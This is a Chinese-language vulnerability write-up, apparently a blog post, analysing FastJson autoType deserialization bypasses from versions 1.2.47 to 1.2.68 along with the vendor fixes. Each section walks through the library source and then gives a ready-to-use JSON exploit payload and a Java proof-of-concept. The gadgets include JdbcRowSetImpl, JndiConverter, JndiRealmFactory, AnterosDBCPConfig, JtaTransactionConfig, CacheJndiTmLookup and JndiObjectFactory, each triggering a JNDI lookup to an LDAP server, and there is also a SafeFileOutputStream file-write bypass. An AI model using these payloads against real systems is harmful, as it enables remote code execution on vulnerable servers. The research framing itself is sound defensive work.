官方在 1.2.46 对漏洞进行了修复 ,加了几个 denyHashCodes ,其中 8083514888460375884[org.apache.ibatis.datasource] 。
1.2.47
简介
1.2.25 <= FastJson <= 1.2.32 可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。
1.2.33 <= FastJson <= 1.2.47 需要开启 AutoTypeSupport 。
分析
checkAutoType
重点还是在 checkAutoType 这儿,代码注释如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if (autoTypeSupport || expectClass != null ) { long hash = h3; for (int i = 3 ; i < className.length(); ++i) { hash ^= className.charAt(i); hash *= PRIME; if (Arrays.binarySearch(acceptHashCodes, hash) >= 0 ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false ); if (clazz != null ) { return clazz; } } if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null ) { throw new JSONException ("autoType is not support. " + typeName); } } } if (clazz == null ) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null ) { clazz = deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } if (!autoTypeSupport) { long hash = h3; for (int i = 3 ; i < className.length(); ++i) { char c = className.charAt(i); hash ^= c; hash *= PRIME; if (Arrays.binarySearch(denyHashCodes, hash) >= 0 ) { throw new JSONException ("autoType is not support. " + typeName); } if (Arrays.binarySearch(acceptHashCodes, hash) >= 0 ) { if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false ); } if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } }
先判断 autoTypeSupport 为 true 时,如果匹配到黑名单,但 TypeUtils.mappings 中没有该类的缓存,才会抛出异常。
接着是从 TypeUtils.mappings 和 deserializers 中读取类,存在则直接返回。
然后判断 autoTypeSupport 为 false 时,如果匹配到黑名单直接抛出异常。
因此不论是否开启 autoTypeSupport ,只要使得 TypeUtils.mappings 中有该类的缓存,那么就能直接成功返回反序列化利用类。
getClassFromMapping
getClassFromMapping 返回的是 TypeUtils.mappings 的内容。
1 2 3 public static Class<?> getClassFromMapping(String className) { return (Class)mappings.get(className); }
查看一下调用的地方,有 put 操作的地方在 loadClass 方法。
loadClass
当 cache 为 true 的时候,无论如何 mappings 最终都会置入类。而 loadClass 有三个重载方法,cache 皆为 true 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 public static Class<?> loadClass(String className){ return loadClass(className, null ); } public static Class<?> loadClass(String className, ClassLoader classLoader) { return loadClass(className, classLoader, true ); } public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { try { if (classLoader != null ){ clazz = classLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch (Throwable e){ e.printStackTrace(); } try { ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if (contextClassLoader != null && contextClassLoader != classLoader){ clazz = contextClassLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch (Throwable e){ } try { clazz = Class.forName(className); mappings.put(className, clazz); return clazz; } catch (Throwable e){ } return clazz; }
关键点在 MiscCodec#deserialze 调用的 Class<?> loadClass(String className, ClassLoader classLoader) 。
deserialze
parser.resolveStatus 为 DefaultJSONParser.TypeNameRedirect 时,第 20 行处解析 val 的值,在 32 行传给 strVal ,最后在 58 行判断 class ,然后调用 loadClass 把 strVal 作为类名加进 mappings 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 public <T> T deserialze (DefaultJSONParser parser, Type clazz, Object fieldName) { Object objVal; if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) { parser.resolveStatus = DefaultJSONParser.NONE; parser.accept(JSONToken.COMMA); if (lexer.token() == JSONToken.LITERAL_STRING) { if (!"val" .equals(lexer.stringVal())) { throw new JSONException ("syntax error" ); } lexer.nextToken(); } else { throw new JSONException ("syntax error" ); } parser.accept(JSONToken.COLON); objVal = parser.parse(); parser.accept(JSONToken.RBRACE); } else { objVal = parser.parse(); } String strVal; if (objVal == null ) { strVal = null ; } else if (objVal instanceof String) { strVal = (String) objVal; } else { if (objVal instanceof JSONObject) { JSONObject jsonObject = (JSONObject) objVal; if (clazz == Currency.class) { String currency = jsonObject.getString("currency" ); if (currency != null ) { return (T) Currency.getInstance(currency); } String symbol = jsonObject.getString("currencyCode" ); if (symbol != null ) { return (T) Currency.getInstance(symbol); } } if (clazz == Map.Entry.class) { return (T) jsonObject.entrySet().iterator().next(); } return jsonObject.toJavaObject(clazz); } throw new JSONException ("expect string" ); } if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); } }
老样子查看调用 deserialze 的地方,跟进 DefaultJSONParser#parseObject 。
parseObject
解析到 key 为 JSON.DEFAULT_TYPE_KEY 即 @type 时进入,获取 typeName 后使用 checkAutoType 进行合法性检查,结合上文调用 loadClass 的地方,则此处 typeName 应该为 java.lang.Class ,这自然是一个合法类,且在初始化时就被 ParserConfig#initDeserializers 加载在 checkAutoType 要调用的 deserializers 变量里,因此在第 7 行成功返回。
随后在 22 行处使用 setResolveStatus 设置了 TypeNameRedirect ,最后调用 deserialze 方法返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public Object parse (PropertyProcessable object, Object fieldName) { if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { String typeName = lexer.scanSymbol(symbolTable, '"' ); Class<?> clazz = config.checkAutoType(typeName, null , lexer.getFeatures()); if (Map.class.isAssignableFrom(clazz) ) { lexer.nextToken(JSONToken.COMMA); if (lexer.token() == JSONToken.RBRACE) { lexer.nextToken(JSONToken.COMMA); return object; } continue ; } ObjectDeserializer deserializer = config.getDeserializer(clazz); lexer.nextToken(JSONToken.COMMA); setResolveStatus(DefaultJSONParser.TypeNameRedirect); if (context != null && !(fieldName instanceof Integer)) { popContext(); } return (Map) deserializer.deserialze(this , clazz, fieldName); } }
总结
首先使用如下 Payload ,将 JdbcRowSetImpl 存入 TypeUtils.mappings 。
1 2 3 4 { "@type" : "java.lang.Class" , "val" : "com.sun.rowset.JdbcRowSetImpl" }
然后按照常规 Payload 打,最终 Payload 如下。
1 2 3 4 5 6 7 8 9 10 11 { "a" : { "@type" : "java.lang.Class" , "val" : "com.sun.rowset.JdbcRowSetImpl" } , "b" : { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://127.0.0.1:14514/test" , "autoCommit" : true } }
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package st.southsea;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\n" + " \"a\": {\n" + " \"@type\": \"java.lang.Class\",\n" + " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" + " },\n" + " \"b\": {\n" + " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\": \"ldap://127.0.0.1:14514/test\",\n" + " \"autoCommit\": true\n" + " }\n" + "}" ; Object user = JSON.parseObject(payload); System.out.println(user); } }
修复
官方在 1.2.48 对漏洞进行了修复 ,在 MiscCodec 处理 Class 类的地方,设置了 cache 为 false 。
并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。
且黑名单新增了 1459860845934817624[java.net.InetAddress] 和 8409640769019589119[java.lang.Class] 。
1.2.62
简介
FastJson <= 1.2.63 均生效。
新的 Gadget 绕过黑名单,需要开启 AutoTypeSupport 。
分析
一个新的 Gadget 绕过黑名单,测试发现从 3.4 版本到如今的 4.23 皆可用。
1 2 3 4 5 <dependency > <groupId > org.apache.xbean</groupId > <artifactId > xbean-reflect</artifactId > <version > 4.23</version > </dependency >
JndiConverter
JndiConverter 的无参构造函数调用了父类 AbstractConverter 的构造方法。
1 2 3 4 public JndiConverter () { super (Context.class); }
AbstractConverter 中 setAsText 跳转 toObject 到 toObjectImpl 抽象方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public final void setAsText (String text) { Object value = toObject(text.trim()); super .setValue(value); } public final Object toObject (String text) { if (text == null ) { return null ; } Object value = toObjectImpl(text.trim()); return value; } protected abstract Object toObjectImpl (String text) ;
而 JndiConverter 中实现了这个抽象方法,调用了 context.lookup ,完成 JNDI 注入。
1 2 3 4 5 6 7 8 9 protected Object toObjectImpl (String text) { try { InitialContext context = new InitialContext (); return (Context) context.lookup(text); } catch (NamingException e) { throw new PropertyEditorException (e); } }
总结
新的绕过链,构造如下。
1 2 3 4 { "@type" : "org.apache.xbean.propertyeditor.JndiConverter" , "AsText" : "ldap://127.0.0.1:14514/test" }
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package st.southsea;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\n" + " \"@type\": \"org.apache.xbean.propertyeditor.JndiConverter\",\n" + " \"AsText\": \"ldap://127.0.0.1:14514/test\"\n" + "}" ; Object user = JSON.parseObject(payload); System.out.println(user); } }
修复
官方在 1.2.66 对漏洞进行了修复 ,加了几个 denyHashCodes ,其中 0x665C53C311193973L[org.apache.xbean] 。
1.2.66
简介
FastJson <= 1.2.66 均生效。
新的 Gadget 绕过黑名单,需要开启 AutoTypeSupport 。
JndiRealmFactory
分析
一个新的 Gadget 绕过黑名单。
1 2 3 4 5 <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-core</artifactId > <version > 1.11.0</version > </dependency >
JndiRealmFactory 通过 setJndiNames 设置 jndiNames ,然后 getRealms 由于符合 Getter 方法的条件会被触发,因此在 16 行处得以遍历 jndiNames 触发 JNDI 注入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public void setJndiNames (Collection<String> jndiNames) { this .jndiNames = jndiNames; } public Collection<Realm> getRealms () throws IllegalStateException { Collection<String> jndiNames = getJndiNames(); if (jndiNames == null || jndiNames.isEmpty()) { String msg = "One or more jndi names must be specified for the " + getClass().getName() + " to locate Realms." ; throw new IllegalStateException (msg); } List<Realm> realms = new ArrayList <Realm>(jndiNames.size()); for (String name : jndiNames) { try { Realm realm = (Realm) lookup(name, Realm.class); realms.add(realm); } catch (Exception e) { throw new IllegalStateException ("Unable to look up realm with jndi name '" + name + "'." , e); } } return realms.isEmpty() ? null : realms; }
JndiRealmFactory#getRealms 调用 JndiLocator#lookup ,然后跳转 JndiTemplate#lookup 最后到 ctx.lookup 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 protected Object lookup (String jndiName, Class requiredType) throws NamingException { if (jndiName == null ) { throw new IllegalArgumentException ("jndiName argument must not be null" ); } String convertedName = convertJndiName(jndiName); Object jndiObject; try { jndiObject = getJndiTemplate().lookup(convertedName, requiredType); } catch (NamingException ex) { if (!convertedName.equals(jndiName)) { if (log.isDebugEnabled()) { log.debug("Converted JNDI name [" + convertedName + "] not found - trying original name [" + jndiName + "]. " + ex); } jndiObject = getJndiTemplate().lookup(jndiName, requiredType); } else { throw ex; } } log.debug("Located object with JNDI name '{}'" , convertedName); return jndiObject; } public Object lookup (String name, Class requiredType) throws NamingException { Object jndiObject = lookup(name); if (requiredType != null && !requiredType.isInstance(jndiObject)) { String msg = "Jndi object acquired under name '" + name + "' is of type [" + jndiObject.getClass().getName() + "] and not assignable to the required type [" + requiredType.getName() + "]." ; throw new NamingException (msg); } return jndiObject; } public Object lookup (final String name) throws NamingException { log.debug("Looking up JNDI object with name '{}'" , name); return execute(new JndiCallback () { public Object doInContext (Context ctx) throws NamingException { Object located = ctx.lookup(name); if (located == null ) { throw new NameNotFoundException ( "JNDI object with [" + name + "] not found: JNDI implementation returned null" ); } return located; } }); }
总结
1 2 3 4 5 { "@type" : "org.apache.shiro.realm.jndi.JndiRealmFactory" , "jndiNames" : [ "ldap://127.0.0.1:14514/test" ] , "Realms" : [ "" ] }
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package st.southsea;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\n" + " \"@type\": \"org.apache.shiro.realm.jndi.JndiRealmFactory\",\n" + " \"jndiNames\": [\"ldap://127.0.0.1:14514/test\"],\n" + " \"Realms\": [\"\"]\n" + "}" ; Object user = JSON.parseObject(payload); System.out.println(user); } }
AnterosDBCPConfig
metricRegistry
分析
配置如下。
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > br.com.anteros</groupId > <artifactId > Anteros-Core</artifactId > <version > 1.3.6</version > </dependency > <dependency > <groupId > br.com.anteros</groupId > <artifactId > Anteros-DBCP</artifactId > <version > 1.0.1</version > </dependency >
一目了然的 setMetricRegistry 到 getObjectOrPerformJndiLookup ,最后 initCtx.lookup 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public void setMetricRegistry (Object metricRegistry) { if (metricsTrackerFactory != null ) { throw new IllegalStateException ("cannot use setMetricRegistry() and setMetricsTrackerFactory() together" ); } if (metricRegistry != null ) { metricRegistry = getObjectOrPerformJndiLookup(metricRegistry); if (!safeIsAssignableFrom(metricRegistry, "com.codahale.metrics.MetricRegistry" ) && !(safeIsAssignableFrom(metricRegistry, "io.micrometer.core.instrument.MeterRegistry" ))) { throw new IllegalArgumentException ("Class must be instance of com.codahale.metrics.MetricRegistry or io.micrometer.core.instrument.MeterRegistry" ); } } this .metricRegistry = metricRegistry; } private Object getObjectOrPerformJndiLookup (Object object) { if (object instanceof String) { try { InitialContext initCtx = new InitialContext (); return initCtx.lookup((String) object); } catch (NamingException e) { throw new IllegalArgumentException (e); } } return object; }
总结
1 2 3 4 { "@type" : "br.com.anteros.dbcp.AnterosDBCPConfig" , "metricRegistry" : "ldap://127.0.0.1:14514/test" }
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package st.southsea;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\n" + " \"@type\": \"br.com.anteros.dbcp.AnterosDBCPConfig\",\n" + " \"metricRegistry\": \"ldap://127.0.0.1:14514/test\"\n" + "}" ; Object user = JSON.parseObject(payload); System.out.println(user); } }
healthCheckRegistry
分析
和上文相似,setHealthCheckRegistry 到 getObjectOrPerformJndiLookup ,最后 initCtx.lookup 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public void setHealthCheckRegistry (Object healthCheckRegistry) { checkIfSealed(); if (healthCheckRegistry != null ) { healthCheckRegistry = getObjectOrPerformJndiLookup(healthCheckRegistry); if (!(healthCheckRegistry instanceof HealthCheckRegistry)) { throw new IllegalArgumentException ("Class must be an instance of com.codahale.metrics.health.HealthCheckRegistry" ); } } this .healthCheckRegistry = healthCheckRegistry; } private Object getObjectOrPerformJndiLookup (Object object) { if (object instanceof String) { try { InitialContext initCtx = new InitialContext (); return initCtx.lookup((String) object); } catch (NamingException e) { throw new IllegalArgumentException (e); } } return object; }
总结
1 2 3 4 { "@type" : "br.com.anteros.dbcp.AnterosDBCPConfig" , "healthCheckRegistry" : "ldap://127.0.0.1:14514/test" }
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package st.southsea;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\n" + " \"@type\": \"br.com.anteros.dbcp.AnterosDBCPConfig\",\n" + " \"healthCheckRegistry\": \"ldap://127.0.0.1:14514/test\"\n" + "}" ; Object user = JSON.parseObject(payload); System.out.println(user); } }
JtaTransactionConfig
分析
配置如下。
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > org.apache.ibatis</groupId > <artifactId > ibatis-sqlmap</artifactId > <version > 2.3.4.726</version > </dependency > <dependency > <groupId > javax</groupId > <artifactId > javaee-api</artifactId > <version > 8.0.1</version > </dependency >
也是很清晰的一个链,setProperties 中获取 UserTransaction ,然后调用 initCtx.lookup 。
1 2 3 4 5 6 7 8 9 10 11 public void setProperties (Properties props) throws SQLException, TransactionException { String utxName = null ; try { utxName = (String) props.get("UserTransaction" ); InitialContext initCtx = new InitialContext (); userTransaction = (UserTransaction) initCtx.lookup(utxName); } catch (NamingException e) { throw new SqlMapException ("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + "). Cause: " + e); } }
总结
新的绕过链,构造如下。
1 2 3 4 5 6 7 { "@type" : "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig" , "properties" : { "@type" : "java.util.Properties" , "UserTransaction" : "ldap://127.0.0.1:14514/test" } }
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package st.southsea;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\n" + " \"@type\": \"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\n" + " \"properties\": {\n" + " \"@type\": \"java.util.Properties\",\n" + " \"UserTransaction\": \"ldap://127.0.0.1:14514/test\"\n" + " }\n" + "}" ; Object user = JSON.parseObject(payload); System.out.println(user); } }
修复
官方在 1.2.67 对漏洞进行了修复 ,加了如下 denyHashCodes 。
1.2.67
-7775351613326101303L
0x941866e73beff4c9L
org.apache.shiro.realm.
1.2.67
2731823439467737506L
0x25e962f1c28f71a2L
br.com.anteros.
1.2.67
-2378990704010641148L
0xdefc208f237d4104L
com.ibatis.
1.2.67
简介
FastJson <= 1.2.67 均生效。
新的 Gadget 绕过黑名单,需要开启 AutoTypeSupport 。
CacheJndiTmLookup
分析
配置如下。
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > org.apache.ignite</groupId > <artifactId > ignite-core</artifactId > <version > 2.15.0</version > </dependency > <dependency > <groupId > org.apache.ignite</groupId > <artifactId > ignite-jta</artifactId > <version > 2.15.0</version > </dependency >
在这条链中,getTm 被触发,调用了 ctx.lookup ,但是这个方法并不符合上文所述的特殊 Getter 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public void setJndiNames (List<String> jndiNames) { this .jndiNames = jndiNames; } @Nullable @Override public TransactionManager getTm () throws IgniteException { assert jndiNames != null ; assert !jndiNames.isEmpty(); try { InitialContext ctx = new InitialContext (); for (String s : jndiNames) { Object obj = ctx.lookup(s); if (obj != null && obj instanceof TransactionManager) return (TransactionManager)obj; } } catch (NamingException e) { throw new IgniteException ("Unable to lookup TM by: " + jndiNames, e); } return null ; }
循环引用
这里涉及到一个 FastJson 的循环引用 问题。
{"$ref":"$"}
引用根对象
{"$ref":"@"}
引用自己
{"$ref":".."}
引用父对象
{"$ref":"../.."}
引用父对象的父对象
{"$ref":"$.members[0].reportTo"}
基于路径的引用
因此可以通过这个循环引用来调用其他方法。
总结
1 2 3 4 5 6 7 8 9 { "@type" : "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup" , "jndiNames" : [ "ldap://127.0.0.1:14514/test" ] , "tm" : { "$ref" : "$.tm" } }
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package st.southsea;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\n" + " \"@type\": \"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\n" + " \"jndiNames\": [\n" + " \"ldap://127.0.0.1:14514/test\"\n" + " ],\n" + " \"tm\": {\n" + " \t\"$ref\": \"$.tm\"\n" + " }\n" + "}" ; Object user = JSON.parseObject(payload); System.out.println(user); } }
JndiObjectFactory
分析
配置如下。
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-core</artifactId > <version > 1.11.0</version > </dependency > <dependency > <groupId > org.slf4j</groupId > <artifactId > slf4j-api</artifactId > <version > 2.0.7</version > </dependency >
同样是循环引用调用的 getInstance 到 lookup 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public void setResourceName (String resourceName) { this .resourceName = resourceName; } public T getInstance () { try { if (requiredType != null ) { return requiredType.cast(this .lookup(resourceName, requiredType)); } else { return (T) this .lookup(resourceName); } } catch (NamingException e) { final String typeName = requiredType != null ? requiredType.getName() : "object" ; throw new IllegalStateException ("Unable to look up " + typeName + " with jndi name '" + resourceName + "'." , e); } }
总结
1 2 3 4 5 6 7 { "@type" : "org.apache.shiro.jndi.JndiObjectFactory" , "resourceName" : "ldap://127.0.0.1:14514/test" , "instance" : { "$ref" : "$.instance" } }
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package st.southsea;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\n" + " \"@type\": \"org.apache.shiro.jndi.JndiObjectFactory\",\n" + " \"resourceName\": \"ldap://127.0.0.1:14514/test\",\n" + " \"instance\": {\n" + " \t\"$ref\": \"$.instance\"\n" + " }\n" + "}" ; Object user = JSON.parseObject(payload); System.out.println(user); } }
修复
官方在 1.2.68 对漏洞进行了修复 ,加了如下 denyHashCodes 。
1.2.68
-3077205613010077203L
0xd54b91cc77b239edL
org.apache.shiro.jndi.
1.2.68
-2825378362173150292L
0xd8ca3d595e982bacL
org.apache.ignite.cache.jta.
1.2.68
简介
FastJson <= 1.2.68 均生效。
expectClass 子类绕过,无需开启 AutoTypeSupport 。
分析
配置如下。
1 2 3 4 5 <dependency > <groupId > org.aspectj</groupId > <artifactId > aspectjtools</artifactId > <version > 1.9.5</version > </dependency >
跟着 Payload 看一遍流程吧。
1 2 3 4 5 6 { "@type" : "java.lang.AutoCloseable" , "@type" : "org.eclipse.core.internal.localstore.SafeFileOutputStream" , "tempPath" : "/tmp/1" , "targetPath" : "/tmp/2" }
DefaultJSONParser#parseObject 读到 key 为 DEFAULT_TYPE_KEY 即 @type ,进入 if ,27 行处因为非数字所以调用 checkAutoType ,此时 expectClass 为空。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public final Object parseObject (final Map object, Object fieldName) { if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { String typeName = lexer.scanSymbol(symbolTable, '"' ); if (lexer.isEnabled(Feature.IgnoreAutoType)) { continue ; } Class<?> clazz = null ; if (object != null && object.getClass().getName().equals(typeName)) { clazz = object.getClass(); } else { boolean allDigits = true ; for (int i = 0 ; i < typeName.length(); ++i) { char c = typeName.charAt(i); if (c < '0' || c > '9' ) { allDigits = false ; break ; } } if (!allDigits) { clazz = config.checkAutoType(typeName, null , lexer.getFeatures()); } } } }
checkAutoType 中由于 expectClass 为空,所以 expectClassFlag 为 false ,且其不在 INTERNAL_WHITELIST_HASHCODES 中,所以一路跳过各种 if 判断,直接 getClassFromMapping 拿到 AutoCloseable 类,然后返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { final boolean expectClassFlag; if (expectClass == null ) { expectClassFlag = false ; } else { if (expectClass == Object.class || expectClass == Serializable.class || expectClass == Cloneable.class || expectClass == Closeable.class || expectClass == EventListener.class || expectClass == Iterable.class || expectClass == Collection.class ) { expectClassFlag = false ; } else { expectClassFlag = true ; } } clazz = TypeUtils.getClassFromMapping(typeName); if (clazz != null ) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } }
回到 parseObject 后,一路往下,一直到 deserialze 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public final Object parseObject (final Map object, Object fieldName) { ObjectDeserializer deserializer = config.getDeserializer(clazz); Class deserClass = deserializer.getClass(); if (JavaBeanDeserializer.class.isAssignableFrom(deserClass) && deserClass != JavaBeanDeserializer.class && deserClass != ThrowableDeserializer.class) { this .setResolveStatus(NONE); } else if (deserializer instanceof MapDeserializer) { this .setResolveStatus(NONE); } Object obj = deserializer.deserialze(this , clazz, fieldName); return obj; }
JavaBeanDeserializer#deserialze 中,读下一个 key 发现还是 @type ,因此进入 if ,13 行处读到 typeName 为 org.eclipse.core.internal.localstore.SafeFileOutputStream ,而后 24 行处 deserializer 为空,因此进入 27 行的 if ,先拿到 expectClass 为 上文传入的 AutoCloseable ,然后在 29 行处再次进入 checkAutoType 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 protected <T> T deserialze (DefaultJSONParser parser, // Type type, // Object fieldName, // Object object, // int features, // int [] setFlags) { if ((typeKey != null && typeKey.equals(key)) || JSON.DEFAULT_TYPE_KEY == key) { lexer.nextTokenWithColon(JSONToken.LITERAL_STRING); if (lexer.token() == JSONToken.LITERAL_STRING) { String typeName = lexer.stringVal(); lexer.nextToken(JSONToken.COMMA); if (typeName.equals(beanInfo.typeName)|| parser.isEnabled(Feature.IgnoreAutoType)) { if (lexer.token() == JSONToken.RBRACE) { lexer.nextToken(); break ; } continue ; } ObjectDeserializer deserializer = getSeeAlso(config, this .beanInfo, typeName); Class<?> userType = null ; if (deserializer == null ) { Class<?> expectClass = TypeUtils.getClass(type); userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures()); deserializer = parser.getConfig().getDeserializer(userType); } } } }
此时再次进入 checkAutoType ,expectClass 经过判断使得 expectClassFlag 为 true ,同时 org.eclipse.core.internal.localstore.SafeFileOutputStream 不在黑白名单中,因此一路往下到 22 行过 check ,带着 cacheClass 为 false 进入 TypeUtils.loadClass 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { final boolean expectClassFlag; if (expectClass == null ) { expectClassFlag = false ; } else { if (expectClass == Object.class || expectClass == Serializable.class || expectClass == Cloneable.class || expectClass == Closeable.class || expectClass == EventListener.class || expectClass == Iterable.class || expectClass == Collection.class ) { expectClassFlag = false ; } else { expectClassFlag = true ; } } if (autoTypeSupport || jsonType || expectClassFlag) { boolean cacheClass = autoTypeSupport || jsonType; clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); } }
loadClass 中使用了 contextClassLoader 拿到 SafeFileOutputStream 返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { try { ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if (contextClassLoader != null && contextClassLoader != classLoader){ clazz = contextClassLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch (Throwable e){ } try { clazz = Class.forName(className); if (cache) { mappings.put(className, clazz); } return clazz; } catch (Throwable e){ } return clazz; }
回到 checkAutoType ,先判断 clazz 不是来自于 ClassLoader、DataSource 和 RowSet 的子类,以此过滤 JNDI 注入,然后 18 行处判断 clazz 是否属于 expectClass 子类,是则加入 mappings ,否则报错,最后返回 SafeFileOutputStream 。
